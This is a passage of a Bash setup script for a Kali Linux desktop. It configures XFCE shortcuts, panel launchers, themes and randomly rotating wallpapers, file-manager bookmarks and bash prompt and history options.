  520.       <property name="&lt;Alt&gt;Delete" type="string" value="del_workspace_key"/>
  521.       <property name="&lt;Alt&gt;F10" type="string" value="maximize_window_key"/>
  522.       <property name="&lt;Alt&gt;F11" type="string" value="fullscreen_key"/>
  523.       <property name="&lt;Alt&gt;F12" type="string" value="above_key"/>
  524.       <property name="&lt;Alt&gt;F4" type="string" value="close_window_key"/>
  525.       <property name="&lt;Alt&gt;F6" type="string" value="stick_window_key"/>
  526.       <property name="&lt;Alt&gt;F7" type="string" value="move_window_key"/>
  527.       <property name="&lt;Alt&gt;F8" type="string" value="resize_window_key"/>
  528.       <property name="&lt;Alt&gt;F9" type="string" value="hide_window_key"/>
  529.       <property name="&lt;Alt&gt;Insert" type="string" value="add_workspace_key"/>
  530.       <property name="&lt;Alt&gt;space" type="string" value="popup_menu_key"/>
  531.       <property name="&lt;Alt&gt;Tab" type="string" value="cycle_windows_key"/>
  532.       <property name="&lt;Control&gt;&lt;Alt&gt;d" type="string" value="show_desktop_key"/>
  533.       <property name="&lt;Control&gt;&lt;Alt&gt;Down" type="string" value="down_workspace_key"/>
  534.       <property name="&lt;Control&gt;&lt;Alt&gt;Left" type="string" value="left_workspace_key"/>
  535.       <property name="&lt;Control&gt;&lt;Alt&gt;Right" type="string" value="right_workspace_key"/>
  536.       <property name="&lt;Control&gt;&lt;Alt&gt;Up" type="string" value="up_workspace_key"/>
  537.       <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Left" type="string" value="move_window_left_key"/>
  538.       <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Right" type="string" value="move_window_right_key"/>
  539.       <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Up" type="string" value="move_window_up_key"/>
  540.       <property name="&lt;Control&gt;F1" type="string" value="workspace_1_key"/>
  541.       <property name="&lt;Control&gt;F10" type="string" value="workspace_10_key"/>
  542.       <property name="&lt;Control&gt;F11" type="string" value="workspace_11_key"/>
  543.       <property name="&lt;Control&gt;F12" type="string" value="workspace_12_key"/>
  544.       <property name="&lt;Control&gt;F2" type="string" value="workspace_2_key"/>
  545.       <property name="&lt;Control&gt;F3" type="string" value="workspace_3_key"/>
  546.       <property name="&lt;Control&gt;F4" type="string" value="workspace_4_key"/>
  547.       <property name="&lt;Control&gt;F5" type="string" value="workspace_5_key"/>
  548.       <property name="&lt;Control&gt;F6" type="string" value="workspace_6_key"/>
  549.       <property name="&lt;Control&gt;F7" type="string" value="workspace_7_key"/>
  550.       <property name="&lt;Control&gt;F8" type="string" value="workspace_8_key"/>
  551.       <property name="&lt;Control&gt;F9" type="string" value="workspace_9_key"/>
  552.       <property name="&lt;Shift&gt;&lt;Alt&gt;Page_Down" type="string" value="lower_window_key"/>
  553.       <property name="&lt;Shift&gt;&lt;Alt&gt;Page_Up" type="string" value="raise_window_key"/>
  554.       <property name="&lt;Super&gt;Tab" type="string" value="switch_window_key"/>
  555.       <property name="Down" type="string" value="down_key"/>
  556.       <property name="Escape" type="string" value="cancel_key"/>
  557.       <property name="Left" type="string" value="left_key"/>
  558.       <property name="Right" type="string" value="right_key"/>
  559.       <property name="Up" type="string" value="up_key"/>
  560.       <property name="override" type="bool" value="true"/>
  561.       <property name="&lt;Super&gt;Left" type="string" value="tile_left_key"/>
  562.       <property name="&lt;Super&gt;Right" type="string" value="tile_right_key"/>
  563.       <property name="&lt;Super&gt;Up" type="string" value="maximize_window_key"/>
  564.     </property>
  565.   </property>
  566.   <property name="providers" type="array">
  567.     <value type="string" value="xfwm4"/>
  568.     <value type="string" value="commands"/>
  569.   </property>
  570. </channel>
  571. EOF
  572. #--- Configuring XFCE (Power Options)
  573. cat <<EOF > ~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-power-manager.xml \
  574.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  575. <?xml version="1.0" encoding="UTF-8"?>
  576.  
  577. <channel name="xfce4-power-manager" version="1.0">
  578.   <property name="xfce4-power-manager" type="empty">
  579.     <property name="power-button-action" type="empty"/>
  580.     <property name="dpms-enabled" type="bool" value="true"/>
  581.     <property name="blank-on-ac" type="int" value="0"/>
  582.     <property name="dpms-on-ac-sleep" type="uint" value="0"/>
  583.     <property name="dpms-on-ac-off" type="uint" value="0"/>
  584.   </property>
  585. </channel>
  586. EOF
  587. #--- Desktop files
  588. ln -sf /usr/share/applications/exo-terminal-emulator.desktop ~/.config/xfce4/panel/launcher-2/exo-terminal-emulator.desktop
  589. ln -sf /usr/share/applications/kali-wireshark.desktop        ~/.config/xfce4/panel/launcher-4/kali-wireshark.desktop
  590. ln -sf /usr/share/applications/firefox-esr.desktop           ~/.config/xfce4/panel/launcher-5/firefox-esr.desktop
  591. ln -sf /usr/share/applications/kali-burpsuite.desktop        ~/.config/xfce4/panel/launcher-6/kali-burpsuite.desktop
  592. ln -sf /usr/share/applications/kali-msfconsole.desktop       ~/.config/xfce4/panel/launcher-7/kali-msfconsole.desktop
  593. ln -sf /usr/share/applications/org.gnome.gedit.desktop       ~/.config/xfce4/panel/launcher-8/textedit.desktop
  594. ln -sf /usr/share/applications/xfce4-appfinder.desktop       ~/.config/xfce4/panel/launcher-9/xfce4-appfinder.desktop
  595. #--- XFCE settings
  596. _TMP=""
  597. [ "${burpFree}" != "false" ] \
  598.   && _TMP="-t int -s 6"
  599. xfconf-query -n -a -c xfce4-panel -p /panels -t int -s 0
  600. xfconf-query --create --channel xfce4-panel --property /panels/panel-0/plugin-ids \
  601.   -t int -s 1   -t int -s 2   -t int -s 3   -t int -s 4   -t int -s 5  ${_TMP}        -t int -s 7   -t int -s 8  -t int -s 9 \
  602.   -t int -s 10  -t int -s 11  -t int -s 13  -t int -s 15  -t int -s 16  -t int -s 17  -t int -s 19  -t int -s 20
  603. xfconf-query -n -c xfce4-panel -p /panels/panel-0/length -t int -s 100
  604. xfconf-query -n -c xfce4-panel -p /panels/panel-0/size -t int -s 30
  605. xfconf-query -n -c xfce4-panel -p /panels/panel-0/position -t string -s "p=6;x=0;y=0"
  606. xfconf-query -n -c xfce4-panel -p /panels/panel-0/position-locked -t bool -s true
  607. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1 -t string -s applicationsmenu     # application menu
  608. xfconf-query -n -c xfce4-panel -p /plugins/plugin-2 -t string -s launcher             # terminal   ID: exo-terminal-emulator
  609. xfconf-query -n -c xfce4-panel -p /plugins/plugin-3 -t string -s places               # places
  610. xfconf-query -n -c xfce4-panel -p /plugins/plugin-4 -t string -s launcher             # wireshark  ID: kali-wireshark
  611. xfconf-query -n -c xfce4-panel -p /plugins/plugin-5 -t string -s launcher             # firefox    ID: firefox-esr
  612. [ "${burpFree}" != "false" ] \
  613.   && xfconf-query -n -c xfce4-panel -p /plugins/plugin-6 -t string -s launcher        # burpsuite  ID: kali-burpsuite
  614. xfconf-query -n -c xfce4-panel -p /plugins/plugin-7 -t string -s launcher             # msf        ID: kali-msfconsole
  615. xfconf-query -n -c xfce4-panel -p /plugins/plugin-8 -t string -s launcher             # gedit      ID: org.gnome.gedit.desktop
  616. xfconf-query -n -c xfce4-panel -p /plugins/plugin-9 -t string -s launcher             # search     ID: xfce4-appfinder
  617. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10 -t string -s tasklist
  618. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11 -t string -s separator
  619. xfconf-query -n -c xfce4-panel -p /plugins/plugin-13 -t string -s mixer   # audio
  620. xfconf-query -n -c xfce4-panel -p /plugins/plugin-15 -t string -s systray
  621. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16 -t string -s actions
  622. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17 -t string -s clock
  623. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19 -t string -s pager
  624. xfconf-query -n -c xfce4-panel -p /plugins/plugin-20 -t string -s showdesktop
  625. #--- application menu
  626. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/show-tooltips -t bool -s true
  627. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/show-button-title -t bool -s false
  628. #--- terminal
  629. xfconf-query -n -c xfce4-panel -p /plugins/plugin-2/items -t string -s "exo-terminal-emulator.desktop" -a
  630. #--- places
  631. xfconf-query -n -c xfce4-panel -p /plugins/plugin-3/mount-open-volumes -t bool -s true
  632. #--- wireshark
  633. xfconf-query -n -c xfce4-panel -p /plugins/plugin-4/items -t string -s "kali-wireshark.desktop" -a
  634. #--- firefox
  635. xfconf-query -n -c xfce4-panel -p /plugins/plugin-5/items -t string -s "firefox-esr.desktop" -a
  636. #--- burp
  637. [ "${burpFree}" != "false" ] \
  638.   && xfconf-query -n -c xfce4-panel -p /plugins/plugin-6/items -t string -s "kali-burpsuite.desktop" -a
  639. #--- metasploit
  640. xfconf-query -n -c xfce4-panel -p /plugins/plugin-7/items -t string -s "kali-msfconsole.desktop" -a
  641. #--- gedit
  642. xfconf-query -n -c xfce4-panel -p /plugins/plugin-8/items -t string -s "textedit.desktop" -a
  643. #--- search
  644. xfconf-query -n -c xfce4-panel -p /plugins/plugin-9/items -t string -s "xfce4-appfinder.desktop" -a
  645. #--- tasklist (& separator - required for padding)
  646. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10/show-labels -t bool -s true
  647. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10/show-handle -t bool -s false
  648. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11/style -t int -s 0
  649. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11/expand -t bool -s true
  650. #--- systray
  651. xfconf-query -n -c xfce4-panel -p /plugins/plugin-15/show-frame -t bool -s false
  652. #--- actions
  653. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16/appearance -t int -s 1
  654. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16/items \
  655.   -t string -s "+logout-dialog"  -t string -s "-switch-user"  -t string -s "-separator" \
  656.   -t string -s "-logout"  -t string -s "+lock-screen"  -t string -s "+hibernate"  -t string -s "+suspend"  -t string -s "+restart"  -t string -s "+shutdown"  -a
  657. #--- clock
  658. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/show-frame -t bool -s false
  659. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/mode -t int -s 2
  660. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/digital-format -t string -s "%R, %Y-%m-%d"
  661. #--- pager / workspace
  662. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19/miniature-view -t bool -s true
  663. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19/rows -t int -s 1
  664. xfconf-query -n -c xfwm4 -p /general/workspace_count -t int -s 3
  665. #--- Theme options
  666. xfconf-query -n -c xsettings -p /Net/ThemeName -s "Kali-X"
  667. xfconf-query -n -c xsettings -p /Net/IconThemeName -s "Vibrancy-Kali"
  668. xfconf-query -n -c xsettings -p /Gtk/MenuImages -t bool -s true
  669. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/button-icon -t string -s "kali-menu"
  670. #--- Window management
  671. xfconf-query -n -c xfwm4 -p /general/snap_to_border -t bool -s true
  672. xfconf-query -n -c xfwm4 -p /general/snap_to_windows -t bool -s true
  673. xfconf-query -n -c xfwm4 -p /general/wrap_windows -t bool -s false
  674. xfconf-query -n -c xfwm4 -p /general/wrap_workspaces -t bool -s false
  675. xfconf-query -n -c xfwm4 -p /general/click_to_focus -t bool -s false
  676. xfconf-query -n -c xfwm4 -p /general/click_to_focus -t bool -s true
  677. #--- Hide icons
  678. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-filesystem -t bool -s false
  679. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-home -t bool -s false
  680. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-trash -t bool -s false
  681. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-removable -t bool -s false
  682. #--- Start and exit values
  683. xfconf-query -n -c xfce4-session -p /splash/Engine -t string -s ""
  684. xfconf-query -n -c xfce4-session -p /shutdown/LockScreen -t bool -s true
  685. xfconf-query -n -c xfce4-session -p /general/SaveOnExit -t bool -s false
  686. #--- App Finder
  687. xfconf-query -n -c xfce4-appfinder -p /last/pane-position -t int -s 248
  688. xfconf-query -n -c xfce4-appfinder -p /last/window-height -t int -s 742
  689. xfconf-query -n -c xfce4-appfinder -p /last/window-width -t int -s 648
  690. #--- Enable compositing
  691. xfconf-query -n -c xfwm4 -p /general/use_compositing -t bool -s true
  692. xfconf-query -n -c xfwm4 -p /general/frame_opacity -t int -s 85
  693. #--- Remove "Mail Reader" from menu
  694. file=/usr/share/applications/exo-mail-reader.desktop   #; [ -e "${file}" ] && cp -n $file{,.bkup}
  695. sed -i 's/^NotShowIn=*/NotShowIn=XFCE;/; s/^OnlyShowIn=XFCE;/OnlyShowIn=/' "${file}"
  696. grep -q "NotShowIn=XFCE" "${file}" \
  697.   || echo "NotShowIn=XFCE;" >> "${file}"
  698. #--- XFCE for default applications
  699. mkdir -p ~/.local/share/applications/
  700. file=~/.local/share/applications/mimeapps.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  701. [ ! -e "${file}" ] \
  702.   && echo '[Added Associations]' > "${file}"
  703. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  704. #--- Firefox
  705. for VALUE in http https; do
  706.   sed -i 's#^x-scheme-handler/'${VALUE}'=.*#x-scheme-handler/'${VALUE}'=exo-web-browser.desktop#' "${file}"
  707.   grep -q '^x-scheme-handler/'${VALUE}'=' "${file}" 2>/dev/null \
  708.     || echo 'x-scheme-handler/'${VALUE}'=exo-web-browser.desktop' >> "${file}"
  709. done
  710. #--- Thunar
  711. for VALUE in file trash; do
  712.   sed -i 's#x-scheme-handler/'${VALUE}'=.*#x-scheme-handler/'${VALUE}'=exo-file-manager.desktop#' "${file}"
  713.   grep -q '^x-scheme-handler/'${VALUE}'=' "${file}" 2>/dev/null \
  714.     || echo 'x-scheme-handler/'${VALUE}'=exo-file-manager.desktop' >> "${file}"
  715. done
  716. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  717. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  718. sed -i 's#^FileManager=.*#FileManager=Thunar#' "${file}" 2>/dev/null
  719. grep -q '^FileManager=Thunar' "${file}" 2>/dev/null \
  720.   || echo 'FileManager=Thunar' >> "${file}"
  721. #--- Disable user folders in home folder
  722. file=/etc/xdg/user-dirs.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  723. sed -i 's/^XDG_/#XDG_/g; s/^#XDG_DESKTOP/XDG_DESKTOP/g;' "${file}"
  724. sed -i 's/^enable=.*/enable=False/' "${file}"
  725. find ~/ -maxdepth 1 -mindepth 1 -type d \
  726.   \( -name 'Documents' -o -name 'Music' -o -name 'Pictures' -o -name 'Public' -o -name 'Templates' -o -name 'Videos' \) -empty -delete
  727. apt -y -qq install xdg-user-dirs \
  728.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  729. xdg-user-dirs-update
  730. #--- Remove any old sessions
  731. rm -f ~/.cache/sessions/*
  732. #--- Set XFCE as default desktop manager
  733. update-alternatives --set x-session-manager /usr/bin/xfce4-session   #update-alternatives --config x-window-manager   #echo "xfce4-session" > ~/.xsession
  734.  
  735.  
  736. ##### Cosmetics (themes & wallpapers)
  737. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Cosmetics${RESET}${RESET} ~ Giving it a personal touch"
  738. export DISPLAY=:0.0
  739. #--- axiom / axiomd (May 18 2010) XFCE4 theme ~ http://xfce-look.org/content/show.php/axiom+xfwm?content=90145
  740. mkdir -p ~/.themes/
  741. timeout 300 curl --progress -k -L -f "https://dl.opendesktop.org/api/files/download/id/1461767736/90145-axiom.tar.gz" > /tmp/axiom.tar.gz \
  742.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading axiom.tar.gz" 1>&2    #***!!! hardcoded path!
  743. tar -zxf /tmp/axiom.tar.gz -C ~/.themes/
  744. xfconf-query -n -c xsettings -p /Net/ThemeName -s "axiomd"
  745. xfconf-query -n -c xsettings -p /Net/IconThemeName -s "Vibrancy-Kali-Dark"
  746. #--- Get new desktop wallpaper      (All are #***!!! hardcoded paths!)
  747. mkdir -p /usr/share/wallpapers/
  748. echo -n '[1/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_A.png" > /usr/share/wallpapers/kali_blue_3d_a.png \
  749.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_3d_a.png" 1>&2
  750. echo -n '[2/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_B.png" > /usr/share/wallpapers/kali_blue_3d_b.png \
  751.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_3d_b.png" 1>&2
  752. echo -n '[3/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_G.png" > /usr/share/wallpapers/kali_black_honeycomb.png \
  753.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_honeycomb.png" 1>&2
  754. echo -n '[4/10]'; timeout 300 curl --progress -k -L -f "https://lh5.googleusercontent.com/-CW1-qRVBiqc/U7ARd2T9LCI/AAAAAAAAAGw/oantfR6owSg/w1920-h1080/vzex.png" > /usr/share/wallpapers/kali_blue_splat.png \
  755.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_splat.png" 1>&2
  756. echo -n '[5/10]'; timeout 300 curl --progress -k -L -f "http://wallpaperstock.net/kali-linux_wallpapers_39530_1920x1080.jpg" > /usr/share/wallpapers/kali-linux_wallpapers_39530.png \
  757.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali-linux_wallpapers_39530.png" 1>&2
  758. echo -n '[6/10]'; timeout 300 curl --progress -k -L -f "http://em3rgency.com/wp-content/uploads/2012/12/Kali-Linux-faded-no-Dragon-small-text.png" > /usr/share/wallpapers/kali_black_clean.png \
  759.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_clean.png" 1>&2
  760. #echo -n '[7/10]'; timeout 300 curl --progress -k -L -f "http://www.hdwallpapers.im/download/kali_linux-wallpaper.jpg" > /usr/share/wallpapers/kali_black_stripes.jpg \
  761. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_stripes.jpg" 1>&2
  762. echo -n '[8/10]'; timeout 300 curl --progress -k -L -f "http://fc01.deviantart.net/fs71/f/2011/118/e/3/bt___edb_wallpaper_by_xxdigipxx-d3f4nxv.png" > /usr/share/wallpapers/kali_bt_edb.jpg \
  763.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_bt_edb.jpg" 1>&2
  764. echo -n '[9/10]'; timeout 300 curl --progress -k -L -f "http://pre07.deviantart.net/58d1/th/pre/i/2015/223/4/8/kali_2_0_alternate_wallpaper_by_xxdigipxx-d95800s.png" > /usr/share/wallpapers/kali_2_0_alternate_wallpaper.png \
  765.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_2_0_alternate_wallpaper.png" 1>&2
  766. echo -n '[10/10]'; timeout 300 curl --progress -k -L -f "http://pre01.deviantart.net/4210/th/pre/i/2015/195/3/d/kali_2_0__personal__wp_by_xxdigipxx-d91c8dq.png" > /usr/share/wallpapers/kali_2_0_personal.png \
  767.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_2_0_personal.png" 1>&2
  768. _TMP="$(find /usr/share/wallpapers/ -maxdepth 1 -type f -name 'kali_*' | xargs -n1 file | grep -i 'HTML\|empty' | cut -d ':' -f1)"
  769. for FILE in $(echo ${_TMP}); do rm -f "${FILE}"; done
  770. #--- Kali 1 (Wallpaper)
  771. [ -e "/usr/share/wallpapers/kali_default-1440x900.jpg" ] \
  772.   && ln -sf /usr/share/wallpapers/kali/contents/images/1440x900.png /usr/share/wallpapers/kali_default-1440x900.jpg
  773. #--- Kali 2 (Login)
  774. [ -e "/usr/share/gnome-shell/theme/KaliLogin.png" ] \
  775.   && cp -f /usr/share/gnome-shell/theme/KaliLogin.png /usr/share/wallpapers/KaliLogin2.0-login.jpg
  776. #--- Kali 2 & Rolling (Wallpaper)
  777. [ -e "/usr/share/images/desktop-base/kali-wallpaper_1920x1080.png" ] \
  778.   && ln -sf /usr/share/images/desktop-base/kali-wallpaper_1920x1080.png /usr/share/wallpapers/kali_default2.0-1920x1080.jpg
  779. #--- New wallpaper & add to startup (so its random each login)
  780. mkdir -p /usr/local/bin/
  781. file=/usr/local/bin/rand-wallpaper; [ -e "${file}" ] && cp -n $file{,.bkup}
  782. cat <<EOF > "${file}" \
  783.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  784. #!/bin/bash
  785.  
  786. wallpaper="\$(shuf -n1 -e \$(find /usr/share/wallpapers/ -maxdepth 1 -name 'kali_*'))"
  787.  
  788. ## XFCE - Desktop wallpaper
  789. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/image-show -t bool -s true
  790. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -t string -s "\${wallpaper}"
  791. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/workspace0/last-image -t string -s "\${wallpaper}"
  792.  
  793. ## GNOME - Desktop wallpaper
  794. #[[ $(which gnome-shell) ]] \
  795. #  && dconf write /org/gnome/desktop/background/picture-uri "'file://\${wallpaper}'"
  796.  
  797. ## Change lock wallpaper (before swipe) - kali 2 & rolling
  798. /usr/bin/dconf write /org/gnome/desktop/screensaver/picture-uri "'file://\${wallpaper}'"
  799.  
  800. ## Change login wallpaper (after swipe) - kali 2
  801. #cp -f "\${wallpaper}" /usr/share/gnome-shell/theme/KaliLogin.png
  802.  
  803. /usr/bin/xfdesktop --reload 2>/dev/null &
  804. EOF
  805. chmod -f 0500 "${file}"
  806. #--- Run now
  807. bash "${file}"
  808. #--- Add to startup
  809. mkdir -p ~/.config/autostart/
  810. file=~/.config/autostart/wallpaper.desktop; [ -e "${file}" ] && cp -n $file{,.bkup}
  811. cat <<EOF > "${file}" \
  812.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  813. [Desktop Entry]
  814. Type=Application
  815. Exec=/usr/local/bin/rand-wallpaper
  816. Hidden=false
  817. NoDisplay=false
  818. X-GNOME-Autostart-enabled=true
  819. Name=wallpaper
  820. EOF
  821.  
  822.  
  823. ##### Configure file   Note: need to restart xserver for effect
  824. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}file${RESET} (Nautilus/Thunar) ~ GUI file system navigation"
  825. #--- Settings
  826. mkdir -p ~/.config/gtk-2.0/
  827. file=~/.config/gtk-2.0/gtkfilechooser.ini; [ -e "${file}" ] && cp -n $file{,.bkup}
  828. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  829. sed -i 's/^.*ShowHidden.*/ShowHidden=true/' "${file}" 2>/dev/null \
  830.   || cat <<EOF > "${file}"
  831. [Filechooser Settings]
  832. LocationMode=path-bar
  833. ShowHidden=true
  834. ExpandFolders=false
  835. ShowSizeColumn=true
  836. GeometryX=66
  837. GeometryY=39
  838. GeometryWidth=780
  839. GeometryHeight=618
  840. SortColumn=name
  841. SortOrder=ascending
  842. EOF
  843. dconf write /org/gnome/nautilus/preferences/show-hidden-files true
  844. #--- Bookmarks
  845. file=/root/.gtk-bookmarks; [ -e "${file}" ] && cp -n $file{,.bkup}
  846. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  847. grep -q '^file:///root/Downloads ' "${file}" 2>/dev/null \
  848.   || echo 'file:///root/Downloads Downloads' >> "${file}"
  849. (dmidecode | grep -iq vmware) \
  850.   && (mkdir -p /mnt/hgfs/ 2>/dev/null; grep -q '^file:///mnt/hgfs ' "${file}" 2>/dev/null \
  851.     || echo 'file:///mnt/hgfs VMShare' >> "${file}")
  852. grep -q '^file:///tmp ' "${file}" 2>/dev/null \
  853.   || echo 'file:///tmp /TMP' >> "${file}"
  854. grep -q '^file:///usr/share ' "${file}" 2>/dev/null \
  855.   || echo 'file:///usr/share Kali Tools' >> "${file}"
  856. grep -q '^file:///opt ' "${file}" 2>/dev/null \
  857.   || echo 'file:///opt /opt' >> "${file}"
  858. grep -q '^file:///usr/local/src ' "${file}" 2>/dev/null \
  859.   || echo 'file:///usr/local/src SRC' >> "${file}"
  860. grep -q '^file:///var/ftp ' "${file}" 2>/dev/null \
  861.   || echo 'file:///var/ftp FTP' >> "${file}"
  862. grep -q '^file:///var/samba ' "${file}" 2>/dev/null \
  863.   || echo 'file:///var/samba Samba' >> "${file}"
  864. grep -q '^file:///var/tftp ' "${file}" 2>/dev/null \
  865.   || echo 'file:///var/tftp TFTP' >> "${file}"
  866. grep -q '^file:///var/www/html ' "${file}" 2>/dev/null \
  867.   || echo 'file:///var/www/html WWW' >> "${file}"
  868. #--- Configure file browser - Thunar (need to re-login for effect)
  869. mkdir -p ~/.config/Thunar/
  870. file=~/.config/Thunar/thunarrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  871. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  872. sed -i 's/LastShowHidden=.*/LastShowHidden=TRUE/' "${file}" 2>/dev/null \
  873.   || echo -e "[Configuration]\nLastShowHidden=TRUE" > "${file}"
  874.  
  875.  
  876. ##### Configure GNOME terminal   Note: need to restart xserver for effect
  877. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring GNOME ${GREEN}terminal${RESET} ~ CLI interface"
  878. gconftool-2 -t bool -s /apps/gnome-terminal/profiles/Default/scrollback_unlimited true
  879. gconftool-2 -t string -s /apps/gnome-terminal/profiles/Default/background_type transparent
  880. gconftool-2 -t string -s /apps/gnome-terminal/profiles/Default/background_darkness 0.85611499999999996
  881.  
  882.  
  883. ##### Configure bash - all users
  884. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}bash${RESET} ~ CLI shell"
  885. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  886. grep -q "cdspell" "${file}" \
  887.   || echo "shopt -sq cdspell" >> "${file}"             # Spell check 'cd' commands
  888. grep -q "autocd" "${file}" \
  889.  || echo "shopt -s autocd" >> "${file}"                # So you don't have to 'cd' before a folder
  890. #grep -q "CDPATH" "${file}" \
  891. # || echo "CDPATH=/etc:/usr/share/:/opt" >> "${file}"  # Always CD into these folders
  892. grep -q "checkwinsize" "${file}" \
  893.  || echo "shopt -sq checkwinsize" >> "${file}"         # Wrap lines correctly after resizing
  894. grep -q "nocaseglob" "${file}" \
  895.  || echo "shopt -sq nocaseglob" >> "${file}"           # Case insensitive pathname expansion
  896. grep -q "HISTSIZE" "${file}" \
  897.  || echo "HISTSIZE=10000" >> "${file}"                 # Bash history (memory scroll back)
  898. grep -q "HISTFILESIZE" "${file}" \
  899.  || echo "HISTFILESIZE=10000" >> "${file}"             # Bash history (file .bash_history)
  900. #--- Apply new configs
  901. source "${file}" || source ~/.zshrc
  902.  
  903.  
  904. ##### Install bash colour - all users
  905. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bash colour${RESET} ~ colours shell output"
  906. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  907. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  908. sed -i 's/.*force_color_prompt=.*/force_color_prompt=yes/' "${file}"
  909. grep -q '^force_color_prompt' "${file}" 2>/dev/null \
  910.   || echo 'force_color_prompt=yes' >> "${file}"
  911. sed -i 's#PS1='"'"'.*'"'"'#PS1='"'"'${debian_chroot:+($debian_chroot)}\\[\\033\[01;31m\\]\\u@\\h\\\[\\033\[00m\\]:\\[\\033\[01;34m\\]\\w\\[\\033\[00m\\]\\$ '"'"'#' "${file}"
  912. grep -q "^export LS_OPTIONS='--color=auto'" "${file}" 2>/dev/null \
  913.   || echo "export LS_OPTIONS='--color=auto'" >> "${file}"
  914. grep -q '^eval "$(dircolors)"' "${file}" 2>/dev/null \
  915.   || echo 'eval "$(dircolors)"' >> "${file}"
  916. grep -q "^alias ls='ls $LS_OPTIONS'" "${file}" 2>/dev/null \
  917.   || echo "alias ls='ls $LS_OPTIONS'" >> "${file}"
  918. grep -q "^alias ll='ls $LS_OPTIONS -l'" "${file}" 2>/dev/null \
  919.   || echo "alias ll='ls $LS_OPTIONS -l'" >> "${file}"
  920. grep -q "^alias l='ls $LS_OPTIONS -lA'" "${file}" 2>/dev/null \
  921.   || echo "alias l='ls $LS_OPTIONS -lA'" >> "${file}"
  922. #--- All other users that are made afterwards
  923. file=/etc/skel/.bashrc   #; [ -e "${file}" ] && cp -n $file{,.bkup}
  924. sed -i 's/.*force_color_prompt=.*/force_color_prompt=yes/' "${file}"
  925. #--- Apply new configs
  926. source "${file}" || source ~/.zshrc
  927.  
  928.  
  929. ##### Install grc
  930. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}grc${RESET} ~ colours shell output"
  931. apt -y -qq install grc \
  932.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  933. #--- Setup aliases
